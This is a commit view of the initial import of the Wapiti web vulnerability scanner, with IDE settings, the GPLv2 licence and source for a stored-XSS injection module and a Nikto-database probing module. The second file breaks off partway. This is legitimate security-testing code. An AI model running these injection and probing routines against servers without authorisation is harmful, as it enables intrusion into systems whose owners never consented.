Initial commit

This commit is contained in:
sirius 2019-05-30 16:07:24 +02:00
commit 352dab0081
293 changed files with 134253 additions and 0 deletions

1
.idea/.name Normal file
View File

@ -0,0 +1 @@
wapiti-code

View File

@ -0,0 +1,5 @@
<component name="ProjectCodeStyleConfiguration">
<state>
<option name="PREFERRED_PROJECT_CODE_STYLE" value="Default (1)" />
</state>
</component>

View File

@ -0,0 +1,10 @@
<component name="ProjectDictionaryState">
<dictionary name="sirius">
<words>
<w>redirections</w>
<w>shockwave</w>
<w>surribas</w>
<w>webpage</w>
</words>
</dictionary>
</component>

5
.idea/encodings.xml Normal file
View File

@ -0,0 +1,5 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="Encoding" useUTFGuessing="true" native2AsciiForPropertiesFiles="false" />
</project>

View File

@ -0,0 +1,19 @@
<component name="InspectionProjectProfileManager">
<profile version="1.0">
<option name="myName" value="Project Default" />
<inspection_tool class="PyPackageRequirementsInspection" enabled="true" level="WARNING" enabled_by_default="true">
<option name="ignoredPackages">
<value>
<list size="1">
<item index="0" class="java.lang.String" itemvalue="bs4" />
</list>
</value>
</option>
</inspection_tool>
<inspection_tool class="SpellCheckingInspection" enabled="true" level="TYPO" enabled_by_default="true">
<option name="processCode" value="false" />
<option name="processLiterals" value="true" />
<option name="processComments" value="true" />
</inspection_tool>
</profile>
</component>

26
.idea/misc.xml Normal file
View File

@ -0,0 +1,26 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="ProjectRootManager" version="2" project-jdk-name="Python 3.7 (wapiti-code-6nqJqzvp)" project-jdk-type="Python SDK" />
<component name="PythonCompatibilityInspectionAdvertiser">
<option name="version" value="1" />
</component>
<component name="SvnBranchConfigurationManager">
<option name="myConfigurationMap">
<map>
<entry key="$PROJECT_DIR$">
<value>
<SvnBranchConfiguration>
<option name="branchUrls">
<list>
<option value="svn+ssh://svn.code.sf.net/p/wapiti/code/branches" />
<option value="svn+ssh://svn.code.sf.net/p/wapiti/code/tags" />
</list>
</option>
<option name="trunkUrl" value="svn+ssh://svn.code.sf.net/p/wapiti/code/trunk" />
</SvnBranchConfiguration>
</value>
</entry>
</map>
</option>
</component>
</project>

9
.idea/modules.xml Normal file
View File

@ -0,0 +1,9 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="ProjectModuleManager">
<modules>
<module fileurl="file://$PROJECT_DIR$/.idea/wapiti-code.iml" filepath="$PROJECT_DIR$/.idea/wapiti-code.iml" />
</modules>
</component>
</project>

View File

@ -0,0 +1,5 @@
<component name="DependencyValidationManager">
<state>
<option name="SKIP_IMPORT_STATEMENTS" value="false" />
</state>
</component>

7
.idea/vcs.xml Normal file
View File

@ -0,0 +1,7 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="VcsDirectoryMappings">
<mapping directory="$PROJECT_DIR$" vcs="svn" />
</component>
</project>

16
.idea/wapiti-code.iml Normal file
View File

@ -0,0 +1,16 @@
<?xml version="1.0" encoding="UTF-8"?>
<module type="PYTHON_MODULE" version="4">
<component name="NewModuleRootManager">
<content url="file://$MODULE_DIR$">
<excludeFolder url="file://$MODULE_DIR$/.idea" />
<excludeFolder url="file://$MODULE_DIR$/build" />
<excludeFolder url="file://$MODULE_DIR$/dist" />
<excludeFolder url="file://$MODULE_DIR$/wapiti.egg-info" />
</content>
<orderEntry type="jdk" jdkName="Python 3.7 (wapiti-code-6nqJqzvp)" jdkType="Python SDK" />
<orderEntry type="sourceFolder" forTests="false" />
</component>
<component name="PyDocumentationSettings">
<option name="myDocStringFormat" value="Plain" />
</component>
</module>

1524
.idea/workspace.xml Normal file

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,339 @@
GNU GENERAL PUBLIC LICENSE
Version 2, June 1991
Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Lesser General Public License instead.) You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.
To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have. You must make sure that they, too, receive or can get the
source code. And you must show them these terms so they know their
rights.
We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.
Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software. If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.
Finally, any free program is threatened constantly by software
patents. We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary. To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.
The precise terms and conditions for copying, distribution and
modification follow.
GNU GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License. The "Program", below,
refers to any such program or work, and a "work based on the Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language. (Hereinafter, translation is included without limitation in
the term "modification".) Each licensee is addressed as "you".
Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope. The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.
1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.
You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.
2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:
a) You must cause the modified files to carry prominent notices
stating that you changed the files and the date of any change.
b) You must cause any work that you distribute or publish, that in
whole or in part contains or is derived from the Program or any
part thereof, to be licensed as a whole at no charge to all third
parties under the terms of this License.
c) If the modified program normally reads commands interactively
when run, you must cause it, when started running for such
interactive use in the most ordinary way, to print or display an
announcement including an appropriate copyright notice and a
notice that there is no warranty (or else, saying that you provide
a warranty) and that users may redistribute the program under
these conditions, and telling the user how to view a copy of this
License. (Exception: if the Program itself is interactive but
does not normally print such an announcement, your work based on
the Program is not required to print an announcement.)
These requirements apply to the modified work as a whole. If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works. But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.
Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.
In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.
3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:
a) Accompany it with the complete corresponding machine-readable
source code, which must be distributed under the terms of Sections
1 and 2 above on a medium customarily used for software interchange; or,
b) Accompany it with a written offer, valid for at least three
years, to give any third party, for a charge no more than your
cost of physically performing source distribution, a complete
machine-readable copy of the corresponding source code, to be
distributed under the terms of Sections 1 and 2 above on a medium
customarily used for software interchange; or,
c) Accompany it with the information you received as to the offer
to distribute corresponding source code. (This alternative is
allowed only for noncommercial distribution and only if you
received the program in object code or executable form with such
an offer, in accord with Subsection b above.)
The source code for a work means the preferred form of the work for
making modifications to it. For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable. However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.
If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.
4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License. Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.
5. You are not required to accept this License, since you have not
signed it. However, nothing else grants you permission to modify or
distribute the Program or its derivative works. These actions are
prohibited by law if you do not accept this License. Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.
6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.
7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all. For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.
If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.
It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices. Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.
This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.
8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded. In such case, this License incorporates
the limitation as if written in the body of this License.
9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the Program
specifies a version number of this License which applies to it and "any
later version", you have the option of following the terms and conditions
either of that version or of any later version published by the Free
Software Foundation. If the Program does not specify a version number of
this License, you may choose any version ever published by the Free Software
Foundation.
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission. For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this. Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.
NO WARRANTY
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License along
with this program; if not, write to the Free Software Foundation, Inc.,
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
Also add information on how to contact you by electronic and paper mail.
If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:
Gnomovision version 69, Copyright (C) year name of author
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, the commands you use may
be called something other than `show w' and `show c'; they could even be
mouse-clicks or menu items--whatever suits your program.
You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program, if
necessary. Here is a sample; alter the names:
Yoyodyne, Inc., hereby disclaims all copyright interest in the program
`Gnomovision' (which makes passes at compilers) written by James Hacker.
<signature of Ty Coon>, 1 April 1989
Ty Coon, President of Vice
This General Public License does not permit incorporating your program into
proprietary programs. If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License.

View File

@ -0,0 +1,391 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
# Copyright (C) 2008-2018 Nicolas Surribas
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
from urllib.parse import quote
from configparser import ConfigParser
from os.path import join as path_join
from math import ceil
from requests.exceptions import Timeout, ReadTimeout
from wapitiCore.attack.attack import Attack, PayloadType, Mutator
from wapitiCore.language.vulnerability import Vulnerability, Anomaly, _
from wapitiCore.net import web
from wapitiCore.net.xss_utils import generate_payloads, valid_xss_content_type
class mod_permanentxss(Attack):
"""
This class detects permanent (stored) XSS vulnerabilities.
"""
# simple payloads that doesn't rely on their position in the DOM structure
# payloads injected after closing a tag attribute value (attrval) or in the
# content of a tag (text node like between <p> and </p>)
# only trick here must be on character encoding, filter bypassing, stuff like that
# form the simplest to the most complex, Wapiti will stop on the first working
independant_payloads = []
name = "permanentxss"
require = ["xss"]
PRIORITY = 6
# Attempted payload injection from mod_xss.
# key is tainted value, dict values are (mutated_request, parameter, flags)
TRIED_XSS = {}
# key = xss code, valid = (payload, flags)
SUCCESSFUL_XSS = {}
PAYLOADS_FILE = "xssPayloads.ini"
MSG_VULN = _("Stored XSS vulnerability")
def __init__(self, crawler, persister, logger, attack_options):
Attack.__init__(self, crawler, persister, logger, attack_options)
self.independant_payloads = self.payloads
def attack(self):
"""This method searches XSS which could be permanently stored in the web application"""
get_resources = self.persister.get_links(attack_module=self.name) if self.do_get else []
for original_request in get_resources:
if not valid_xss_content_type(original_request):
# If that content-type can't be interpreted as HTML by browsers then it is useless
continue
url = original_request.url
target_req = web.Request(url)
referer = original_request.referer
headers = {}
if referer:
headers["referer"] = referer
if self.verbose >= 1:
print("[+] {}".format(url))
try:
response = self.crawler.send(target_req, headers=headers)
data = response.content
except Timeout:
continue
except OSError as exception:
# TODO: those error messages are useless, don't give any valuable information
print(_("error: {0} while attacking {1}").format(exception.strerror, url))
continue
except Exception as exception:
print(_("error: {0} while attacking {1}").format(exception, url))
continue
# Should we look for taint codes sent with GET in the webpages?
# Exploiting those may imply sending more GET requests
# Search in the page source for every taint code used by mod_xss
for taint in self.TRIED_XSS:
input_request = self.TRIED_XSS[taint][0]
# Such situations should not occur as it would be stupid to block POST (or GET) requests for mod_xss
# and not mod_permanentxss, but it is possible so let's filter that.
if not self.do_get and input_request.method == "GET":
continue
if not self.do_post and input_request.method == "POST":
continue
if taint.lower() in data.lower():
# Code found in the webpage !
# Did mod_xss saw this as a reflected XSS ?
if taint in self.SUCCESSFUL_XSS:
# Yes, it means XSS payloads were injected, not just tainted code.
payload, flags = self.SUCCESSFUL_XSS[taint]
if self.check_payload(response, flags, taint):
# If we can find the payload again, this is in fact a stored XSS
get_params = input_request.get_params
post_params = input_request.post_params
file_params = input_request.file_params
referer = input_request.referer
# The following trick may seems dirty but it allows to treat GET and POST requests
# the same way.
for params_list in [get_params, post_params, file_params]:
for i in range(len(params_list)):
parameter, value = params_list[i]
parameter = quote(parameter)
if value != taint:
continue
if params_list is file_params:
params_list[i][1][0] = payload
else:
params_list[i][1] = payload
# we found the xss payload again -> stored xss vuln
evil_request = web.Request(
input_request.path,
method=input_request.method,
get_params=get_params,
post_params=post_params,
file_params=file_params,
referer=referer
)
if original_request.path == input_request.path:
description = _(
"Permanent XSS vulnerability found via injection in the parameter {0}"
).format(parameter)
else:
description = _(
"Permanent XSS vulnerability found in {0} by injecting"
" the parameter {1} of {2}"
).format(
original_request.url,
parameter,
input_request.path
)
self.add_vuln(
request_id=original_request.path_id,
category=Vulnerability.XSS,
level=Vulnerability.HIGH_LEVEL,
request=evil_request,
parameter=parameter,
info=description
)
if parameter == "QUERY_STRING":
injection_msg = Vulnerability.MSG_QS_INJECT
else:
injection_msg = Vulnerability.MSG_PARAM_INJECT
self.log_red("---")
self.log_red(
injection_msg,
self.MSG_VULN,
original_request.path,
parameter
)
self.log_red(Vulnerability.MSG_EVIL_REQUEST)
self.log_red(evil_request.http_repr())
self.log_red("---")
# FIX: search for the next code in the webpage
# Ok the content is stored, but will we be able to inject javascript?
else:
parameter = self.TRIED_XSS[taint][1]
payloads = generate_payloads(response.content, taint, self.independant_payloads)
flags = self.TRIED_XSS[taint][2]
# TODO: check that and make it better
if PayloadType.get in flags:
method = "G"
elif PayloadType.file in flags:
method = "F"
else:
method = "P"
self.attempt_exploit(method, payloads, input_request, parameter, taint, original_request)
yield original_request
def load_require(self, dependancies: list = None):
if dependancies:
for module in dependancies:
if module.name == "xss":
self.SUCCESSFUL_XSS = module.SUCCESSFUL_XSS
self.TRIED_XSS = module.TRIED_XSS
def attempt_exploit(self, method, payloads, injection_request, parameter, taint, output_request):
timeouted = False
page = injection_request.path
saw_internal_error = False
output_url = output_request.url
attack_mutator = Mutator(
methods=method,
payloads=payloads,
qs_inject=self.must_attack_query_string,
parameters=[parameter],
skip=self.options.get("skipped_parameters")
)
for evil_request, xss_param, xss_payload, xss_flags in attack_mutator.mutate(injection_request):
if self.verbose == 2:
print("[¨] {0}".format(evil_request))
try:
self.crawler.send(evil_request)
except ReadTimeout:
if timeouted:
continue
self.log_orange("---")
self.log_orange(Anomaly.MSG_TIMEOUT, page)
self.log_orange(Anomaly.MSG_EVIL_REQUEST)
self.log_orange(evil_request.http_repr())
self.log_orange("---")
if xss_param == "QUERY_STRING":
anom_msg = Anomaly.MSG_QS_TIMEOUT
else:
anom_msg = Anomaly.MSG_PARAM_TIMEOUT.format(xss_param)
self.add_anom(
request_id=injection_request.path_id,
category=Anomaly.RES_CONSUMPTION,
level=Anomaly.MEDIUM_LEVEL,
request=evil_request,
info=anom_msg,
parameter=xss_param
)
timeouted = True
else:
try:
response = self.crawler.send(output_request)
except ReadTimeout:
continue
if self.check_payload(response, xss_flags, taint):
if page == output_request.path:
description = _(
"Permanent XSS vulnerability found via injection in the parameter {0}"
).format(xss_param)
else:
description = _(
"Permanent XSS vulnerability found in {0} by injecting"
" the parameter {1} of {2}"
).format(
output_request.url,
parameter,
page
)
self.add_vuln(
request_id=injection_request.path_id,
category=Vulnerability.XSS,
level=Vulnerability.HIGH_LEVEL,
request=evil_request,
parameter=xss_param,
info=description
)
if xss_param == "QUERY_STRING":
injection_msg = Vulnerability.MSG_QS_INJECT
else:
injection_msg = Vulnerability.MSG_PARAM_INJECT
self.log_red("---")
# TODO: a last parameter should give URL used to pass the vulnerable parameter
self.log_red(
injection_msg,
self.MSG_VULN,
output_url,
xss_param
)
self.log_red(Vulnerability.MSG_EVIL_REQUEST)
self.log_red(evil_request.http_repr())
self.log_red("---")
# stop trying payloads and jump to the next parameter
break
elif response.status == 500 and not saw_internal_error:
if xss_param == "QUERY_STRING":
anom_msg = Anomaly.MSG_QS_500
else:
anom_msg = Anomaly.MSG_PARAM_500.format(xss_param)
self.add_anom(
request_id=injection_request.path_id,
category=Anomaly.ERROR_500,
level=Anomaly.HIGH_LEVEL,
request=evil_request,
info=anom_msg,
parameter=xss_param
)
self.log_orange("---")
self.log_orange(Anomaly.MSG_500, page)
self.log_orange(Anomaly.MSG_EVIL_REQUEST)
self.log_orange(evil_request.http_repr())
self.log_orange("---")
saw_internal_error = True
@property
def payloads(self):
"""Load the payloads from the specified file"""
if not self.PAYLOADS_FILE:
return []
payloads = []
config_reader = ConfigParser()
config_reader.read_file(open(path_join(self.CONFIG_DIR, self.PAYLOADS_FILE)))
for section in config_reader.sections():
payload = config_reader[section]["payload"]
flags = {section}
clean_payload = payload.strip(" \n")
clean_payload = clean_payload.replace("[TAB]", "\t")
clean_payload = clean_payload.replace("[LF]", "\n")
clean_payload = clean_payload.replace(
"[TIME]",
str(int(ceil(self.options["timeout"])) + 1)
)
payload_type = PayloadType.pattern
if "[TIMEOUT]" in clean_payload:
payload_type = PayloadType.time
clean_payload = clean_payload.replace("[TIMEOUT]", "")
flags.add(payload_type)
payloads.append((clean_payload, flags))
return payloads
def check_payload(self, response, flags, taint):
config_reader = ConfigParser()
config_reader.read_file(open(path_join(self.CONFIG_DIR, self.PAYLOADS_FILE)))
for section in config_reader.sections():
if section in flags:
value = config_reader[section]["value"].replace("__XSS__", taint)
attribute = config_reader[section]["attribute"]
case_sensitive = config_reader[section].getboolean("case_sensitive")
for tag in response.soup.find_all(config_reader[section]["tag"]):
if attribute == "string" and tag.string:
if case_sensitive:
if value in tag.string:
return True
else:
if value.lower() in tag.string.lower():
return True
else:
if attribute in tag.attrs:
if case_sensitive:
if value in tag[attribute]:
return True
else:
if value.lower() in tag[attribute].lower():
return True
break
return False

View File

@ -0,0 +1,251 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
# Copyright (C) 2009-2018 Nicolas Surribas
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import csv
import re
import os
import socket
import random
from requests.exceptions import RequestException
from wapitiCore.attack.attack import Attack
from wapitiCore.language.vulnerability import Vulnerability, _
from wapitiCore.net import web
# Nikto databases are csv files with the following fields (in order) :
#
# 1 - A unique identifier (number)
# 2 - The OSVDB reference number of the vulnerability
# 3 - Unknown (not used by Wapiti)
# 4 - The URL to check for. May contain a pattern to replace (eg: @CGIDIRS)
# 5 - The HTTP method to use when requesting the URL
# 6 - The HTTP status code returned when the vulnerability may exist
# or a string the HTTP response may contain.
# 7 - Another condition for a possible vulnerability (6 OR 7)
# 8 - Another condition (must match for a possible vulnerability)
# 9 - A condition corresponding to an unexploitable webpage
# 10 - Another condition just like 9
# 11 - A description of the vulnerability with possible BID, CVE or MS references
# 12 - A url-form-encoded string (usually for POST requests)
#
# A possible vulnerability is reported in the following condition :
# ((6 or 7) and 8) and not (9 or 10)
class mod_nikto(Attack):
"""
This class implements a Nikto attack
"""
nikto_db = []
name = "nikto"
NIKTO_DB = "nikto_db"
do_get = False
do_post = False
def __init__(self, crawler, persister, logger, attack_options):
Attack.__init__(self, crawler, persister, logger, attack_options)
user_config_dir = os.getenv("HOME") or os.getenv("USERPROFILE")
user_config_dir += "/config"
if not os.path.isdir(user_config_dir):
os.makedirs(user_config_dir)
try:
with open(os.path.join(user_config_dir, self.NIKTO_DB)) as fd:
reader = csv.reader(fd)
self.nikto_db = [line for line in reader if line != [] and line[0].isdigit()]
except IOError:
try:
print(_("Problem with local nikto database."))
print(_("Downloading from the web..."))
nikto_req = web.Request("http://cirt.net/nikto/UPDATES/2.1.5/db_tests")
response = self.crawler.send(nikto_req)
csv.register_dialect("nikto", quoting=csv.QUOTE_ALL, doublequote=False, escapechar="\\")
reader = csv.reader(response.content.split("\n"), "nikto")
self.nikto_db = [line for line in reader if line != [] and line[0].isdigit()]
with open(os.path.join(user_config_dir, self.NIKTO_DB), "w") as fd:
writer = csv.writer(fd)
writer.writerows(self.nikto_db)
except socket.timeout:
print(_("Error downloading Nikto database"))
def attack(self):
junk_string = "w" + "".join([random.choice("0123456789abcdefghjijklmnopqrstuvwxyz") for __ in range(0, 5000)])
urls = self.persister.get_links(attack_module=self.name) if self.do_get else []
server = next(urls).hostname
for line in self.nikto_db:
match = match_or = match_and = False
fail = fail_or = False
osv_id = line[1]
path = line[3]
method = line[4]
vuln_desc = line[10]
post_data = line[11]
path = path.replace("@CGIDIRS", "/cgi-bin/")
path = path.replace("@ADMIN", "/admin/")
path = path.replace("@NUKE", "/modules/")
path = path.replace("@PHPMYADMIN", "/phpMyAdmin/")
path = path.replace("@POSTNUKE", "/postnuke/")
path = re.sub("JUNK\((\d+)\)", lambda x: junk_string[:int(x.group(1))], path)
if path[0] == "@":
continue
if not path.startswith("/"):
path = "/" + path
try:
url = "http://" + server + path
except UnicodeDecodeError:
continue
if method == "GET":
evil_request = web.Request(url)
elif method == "POST":
evil_request = web.Request(url, post_params=post_data, method=method)
else:
evil_request = web.Request(url, post_params=post_data, method=method)
if self.verbose == 2:
if method == "GET":
print("[¨] {0}".format(evil_request.url))
else:
print("[¨] {0}".format(evil_request.http_repr()))
try:
response = self.crawler.send(evil_request)
except RequestException as exception:
# requests bug
yield exception
continue
else:
yield
page = response.content
code = response.status
# encoding = BeautifulSoup(page, "lxml").originalEncoding
# if encoding:
# page = unicode(page, encoding, errors='ignore')
raw = " ".join([x + ": " + y for x, y in response.headers.items()])
raw += page
# First condition (match)
if len(line[5]) == 3 and line[5].isdigit():
if code == int(line[5]):
match = True
else:
if line[5] in raw:
match = True
# Second condition (or)
if line[6] != "":
if len(line[6]) == 3 and line[6].isdigit():
if code == int(line[6]):
match_or = True
else:
if line[6] in raw:
match_or = True
# Third condition (and)
if line[7] != "":
if len(line[7]) == 3 and line[7].isdigit():
if code == int(line[7]):
match_and = True
else:
if line[7] in raw:
match_and = True
else:
match_and = True
# Fourth condition (fail)
if line[8] != "":
if len(line[8]) == 3 and line[8].isdigit():
if code == int(line[8]):
fail = True
else:
if line[8] in raw:
fail = True
# Fifth condition (or)
if line[9] != "":
if len(line[9]) == 3 and line[9].isdigit():
if code == int(line[9]):
fail_or = True
else:
if line[9] in raw:
fail_or = True
if ((match or match_or) and match_and) and not (fail or fail_or):
self.log_red("---")
self.log_red(vuln_desc)
self.log_red(url)
refs = []
if osv_id != "0":
refs.append("http://osvdb.org/show/osvdb/" + osv_id)
# CERT
m = re.search("(CA-[0-9]{4}-[0-9]{2})", vuln_desc)
if m is not None:
refs.append("http://www.cert.org/advisories/" + m.group(0) + ".html")
# SecurityFocus
m = re.search("BID-([0-9]{4})", vuln_desc)
if m is not None:
refs.append("http://www.securityfocus.com/bid/" + m.group(1))
# Mitre.org
m = re.search("((CVE|CAN)-[0-9]{4}-[0-9]{4,})", vuln_desc)
if m is not None:
refs.append("http://cve.mitre.org/cgi-bin/cvename.cgi?name=" + m.group(0))
# CERT Incidents
